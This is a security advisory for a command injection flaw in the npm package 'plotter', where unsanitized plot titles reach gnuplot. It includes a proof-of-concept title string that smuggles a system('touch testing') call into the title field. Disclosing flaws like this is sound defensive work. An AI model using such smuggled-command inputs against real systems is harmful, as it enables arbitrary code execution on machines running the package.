GHSA-65xx-c85x-wg76CriticalDisclosed before NVD

Command Injection in plotter

Published
September 4, 2020
Last Modified
January 9, 2023

📋 Description

All versions of plotter are vulnerable to Command Injection. The package fails to sanitize plot titles, which may allow attackers to execute arbitrary code in the system if the title value is supplied by a user. The following proof-of-concept creates a testing file in the current directory:

var plot = require('plotter').plot;

const title = 'Example "\nset title system("touch testing")#';

plot({
data: [ 3, 1, 2, 3, 4 ],
filename: 'output.pdf',
style: 'linespoints',
title: title,
logscale: true,
xlabel: 'time',
ylabel: 'length of string',
format: 'pdf'
});

Recommendation

No fix is currently available. Consider using an alternative package until a fix is made available.

🎯 Affected products1

  • npm/plotter:>= 0.0.0

🔗 References (2)